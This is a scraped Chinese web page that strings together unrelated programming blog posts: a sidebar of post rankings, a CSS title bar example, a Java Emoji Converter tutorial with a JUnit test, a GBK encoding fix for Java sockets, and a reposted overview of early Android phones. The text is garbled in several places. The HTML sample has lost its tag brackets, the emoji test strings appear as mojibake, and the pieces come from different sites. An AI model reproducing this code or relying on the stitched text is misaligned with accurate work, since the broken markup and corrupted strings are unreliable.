4.�0�2re: IMSample下载地址
可以下载啊。
--何杨
5.�0�2re: 企业应用最让开发者犯难的几个问题
经典啊!最后一句有深意!
--xuelang
阅读排行榜
1.�0�2用Wireshark从http数据包中得到用户的登录信息(6738)
2.�0�2使用RSA进行信息加密解密的WebService示例(2646)
3.�0�2Struts内部流程(总控ActionServlet读取Struts-config.xml后,将请求转发到诸负责业务处理的Action流程)模拟实现(2526)
4.�0�2扑克牌游戏“算24”的程序解法(1993)
5.�0�2一个完整的混合加密方式在Socket客户机服务器通信应用中的例子(1924)
60天内阅读排行
1.�0�2Spring MVC 例子(105)
2.�0�2ZT:程序员你伤不起的一些谬论(71)
3.�0�2网页上类似Excel效果的可编辑表格示例(67)
4.�0�2Sqltoolbox1.87bate2 版下载(62)
5.�0�2企业应用设计准则(59)
蓝色缎带--使用CSS制作标题栏示例 效果图示:实现代码:
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">HTML> HEAD> TITLE> New Document TITLE>style type="text/css">.titlebar_left { background: url(img/left.gif) no-repeat left center; width: 25px; height: 29px; float:left;}.titlebar_center { background: url(img/center.gif) repeat-x; width: 200; height: 29px; float:left; line-height: 29px; font-family:隶书; font-size:18pt;}.titlebar_right { background: url(img/right.gif) no-repeat right center; width: 192px; height: 29px; float:left;}-->style> HEAD> BODY> div> div class="titlebar_left">div> div class="titlebar_center">蓝色缎带示例div> div class="titlebar_right">div> div> BODY>HTML>
说明:1.指定div的行高等于div的高度能有效控制文字垂直居中,这种方法大家要牢记。2.如果是标题栏是活动的,可以使用一行三列的表格实现之。代码下载:http://www.blogjava.net/Files/heyang/sample_Duandai20090815090528.rar
推荐,Java Emoji Converter(Emoji表情转换工具)
版权声明:欢迎转载,请注明沉默王二原创。 https://blog.csdn.net/qing_gee/article/details/80097901
当Emoji表情字符存储有问题,或者遇到保存字符串到数据库里出现\xF0\x9F\x92\x94类似问题时,请尝试使用这个工具。
什么工具呢?
Java Emoji Converter 。
GitHub地址为:https://github.com/binarywang/java-emoji-converter
可以将Emoji表情(
)转义成沉默王二&#128522;这样的。
那,该怎么使用这款工具呢?
首先,在pom.xml文件中引入jar包:
<dependency>
<groupId>com.github.binarywang</groupId>
<artifactId>java-emoji-converter</artifactId>
<version>0.1.1</version>
</dependency>
然后,在Java类中声明一个EmojiConverter,如下:
private EmojiConverter emojiConverter = EmojiConverter.getInstance();
使用方法也非常简单,如下:
String str = " An ����awesome ����string with a few ����emojis!";
String alias = this.emojiConverter.toAlias(str);
String html = this.emojiConverter.toHtml(str);
toAlias将Emoji转义为关键字,类似:xiao:。
toHtml将Emoji转义为unicode,类似&#128582;。
可以直接将toHtml转换后的字符串保存到数据库,显示的时候,就直接显示,不需要再转义,HTML是支持的。整体代码实例如下:
package com.comwer;
import com.github.binarywang.java.emoji.EmojiConverter;
import junit.framework.Assert;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
/**
* Unit test for simple App.
*/
public class AppTest extends TestCase {
private EmojiConverter emojiConverter = EmojiConverter.getInstance();
/**
* Create the test case
*
* @param testName
* name of the test case
*/
public AppTest(String testName) {
super(testName);
}
/**
* @return the suite of tests being tested
*/
public static Test suite() {
return new TestSuite(AppTest.class);
}
/**
* Rigourous Test :-)
*/
public void testApp() {
String str = " An ����awesome ����string with a few ����emojis!";
String alias = this.emojiConverter.toAlias(str);
String html = this.emojiConverter.toHtml(str);
System.out.println(str);
System.out.println(html);
System.out.println("EmojiConverterTest.testToAlias()=====>");
System.out.println(alias);
Assert.assertEquals(
":no_good: :ok_woman: :couple_with_heart:An :smiley::grinning:awesome :smiley::smiley:string with a few :smiley::wink:emojis!",
alias);
assertTrue(true);
}
}
这种方法的最大好处就是数据库的编码还是utf-8,而不必改成utf8mb4。强烈推荐。
最近正在读明朝那些事儿(第一册——从乞丐和尚到皇帝),恨不得一天把书读完!做皇帝很美,但朱元璋也太能杀人了。乱世的老百姓还是很可怜的。
Java-Socket接收服务端数据--中文乱码
���������
今天在做Socket接收服务器数据的时候,出现上一行这样的乱码,具体原因是接收的时候没有加编码!
解决方法:
DatagramSocket ds = new DatagramSocket();
ds.receive(rp);
// 取出信息
String content = new String(rp.getData(), 0, rp.getLength(),"GBK");//这里需要追加GBK编码,不然会有乱码
网上发现有帖子说:“在服务端默认的编码情况下,JAVA的SOCKET接收需要GBK编码,而C#的接收需要UTF-8编码”
--------------------------------------------
小小经验,笔记一下。
Android开发笔记第二篇(Android 手机概念)
本文来自安卓巴士开发网
Android 手机新概念
操作系统的选择--定制和长尾
� 重构
� MVC 和 Web APP 架构
Android 开发背景
� 计算技术、无线接入技术的发展,使嵌入式系统逐渐有能力对桌面系统常规业务进行支持。
� 谷歌长期以来奉行的移动发展战略:通过与全球各地的手机制造商和移动运营商结成合作伙伴,开发既
有用又有吸引力的移动服务,并推广这些产品。Android 进一步推进了"随时随地为每个人提供信息"这一企业
目标的实现。
� Open Handset Alliance 汇集了多家业界巨头。运营商如:China Mobile、NTT DoCoMo、Vodafone、T-Mobile
等;设备制造商如 ASUS、HTC、Huawei、LG、Motorola、Samsung、Sony Ericsson、Toshiba 等;芯片厂商
如 ARM、Broadcom、Intel、Marvell、NVIDIA、Qualcomm 等。软件厂商如 Ascender、eBay、Esmertec、LivingImage
等。
� Android 更像一款桌面环境为 Java 的 Linux 操作系统。有助于 Google 实现其"随时随地为每个人提供信
息"的企业战略。
HTC Dream/G1 具体配置
硬件
3.17 英寸 HVGA (480 x 320) ;1150mAh 电池 ;高通 528Mhz 7201 处理器 ;64MB RAM、128MB ROM ;1GB
MicroSD 卡 ;QWERTY 全键盘;310 万像素摄像头。
流媒体
支持视频格式:H.264、流媒体、3GPP、MPEG4 和 Codec 3GP ;支持音频格式:MP3、AAC、AAC+、WMA、
MPEG4、WAV、MIDI、REAL、AUDIO 和 OGG;支持墙纸格式:JPG、BMP、PNG 和 GIF ;铃声(MP3、
AAC、AAC+和 WMA)。
接入技术
蓝牙(class 1) ;四频(850,900,1800,1900);支持 3G,802.11b 和 802.11g。
互联网
支持 HTTP、WAP Push 和 xHTML;支持 POP、IMAP、SMTP,以及 AOL 和 GMAIL 电子邮件服务;支持 AIM、
MSN、雅虎通和 GTALK;与谷歌日历同步;与 Android Market 联机;支持谷歌“街景”服务;包装盒内附
数据工具包。
更多信息https://sites.google.com/a/andro ... ce/release-features
Android 盈利模式
Android 的 App Market 模式,软件开发者获得 7 成收入,3 成用于系统维护。难点在于位置营销。
设备商通过卖设备、内置特色应用来获得盈利。也可以兼职专业软件开发者进行赢利。
Google 自身通过基于统一平台为用户提供信息来盈利。
Android 的优势
� 源代码完全开放,便于开发人员更清楚的把握实现细节,便于提高开发人员的技术水平,有利于开发出
更具差异性的应用。
� 采用了对有限内存、电池和 CPU 优化过的虚拟机 Dalvik,Android 的运行速度比想象的要快很多。
� 运营商(中国移动等)的大力支持,产业链条的热捧。
� 良好的盈利模式(3/7 开),产业链条的各方:运营商、制造商、独立软件生产商都可以获得不错的利益 。
将移动终端的评价标准从硬件向软件转变,极大的激发了软件开发者的热情。
� Android 的源代码遵循 Apache V2 软件许可,而不是通常的 GPL v2 许可。有利于商业开发。
� 具有强大的 Linux 社区的支持。
Android 的不足
� 由于采用了 Java 作为应用开发语言,目前可用的传统第三方应用还很少,但由于 Android 是一款完全开
源的移动计算平台,相信第三方应用会很快的丰富起来。
� Google 提供了一套 Java 核心包(J2SE 5,J2SE 6)的有限子集,尚不承诺遵守 Java 任何 Java 规范,可能会造
成Java 阵营的进一步分裂。
� 现有应用完善度不太够,需要的开发工作量较大。
� 基于 QEMU 开发的模拟器调试手段不十分丰富,只支持通话、SMS等,速度慢。
� 暂不具备 Push Mail 和 Office(DataViz、 QuickOffice 计划近期推出)功能,目前主要面向的是普通消费者
用户,对商业用户支持尚弱。
Android 带来的影响
ANDROID 的推出后可能影响的产业包括移动电信业,软件开发业,手机制造业,在以消费者为核心的状态 。
对消费者的影响
� 高档手机选择面增加。
� Android 在设计初期就考虑了与现其有业务的融合,改变以往从计算机为主改成从手机使用为导向。新
生应用如:Google 地图及其衍生应用、GMail、GTalk 等。
� GPS 卫星导航功能,手机照相,MP3,蓝芽等均被列为 Android 所提供支持的基本选项。
� Android 的平台基本上是免费的,虽然有部份原生链接库会要求费用,但大部份是免权利金;Android 的
程序可以采用 JAVA 开发,但是因为它的虚拟机(Virtual Machine) Dalvik,是将 JAVA 的 bytecode 转成自
己的格式,回避掉需要付给 SUN 有关 JAVA 的授权费用。
对手机制造者的影响
� Android 是款开源的移动计算软件平台,组建了 google 主导的拥有众多产业界巨头的产业联盟,有利于
高效开发、降低成本。
� 由于是源代码开放的产品,对非主导厂商而言,可以避开与主导厂商在核心技术上面的差距,开发出更
具竞争力和差异化的产品。
对运营商的影响
� 丰富的数据业务,将导致数据流量的显著增加 。
� 手机来源增加,价格更为低廉。
对软件开发者的影响(本文来自安卓巴士开发网)
� 因为 Android 移动软件平台抱持开放互通的观念,势必吸引不少自由软件的拥护者。
� 开发方向有三个重点:
应用软件的开发
特殊功能的原生链接库
专属应用程序框架
� 由于 Android 的App Market 性质,可能催生出专门的应用软件开发商。
Android 应用现状
� 设备商:lenovo、琦基、戴尔、三星、摩托罗拉、华为、英特尔、Kogan、索爱、华硕、多普达、爱可视 、
Archos 等。
� 制造商:HTC、Telstra 等。
� 手机设计公司:播思、德信无线等。
� 运营商:中国移动、Sprint、T-Mobile、Teleca AB 等。
� 芯片商:Qualcomm、Marvell、TI、Boardcom 等。
本文原帖地址:http://www.apkbus.com/forum.php?mod=viewthread&tid=13305
本文转自qianqianlianmeng博客园博客,原文链接:http://www.cnblogs.com/aimeng/archive/2011/08/30/2159148.html,如需转载请自行联系原作者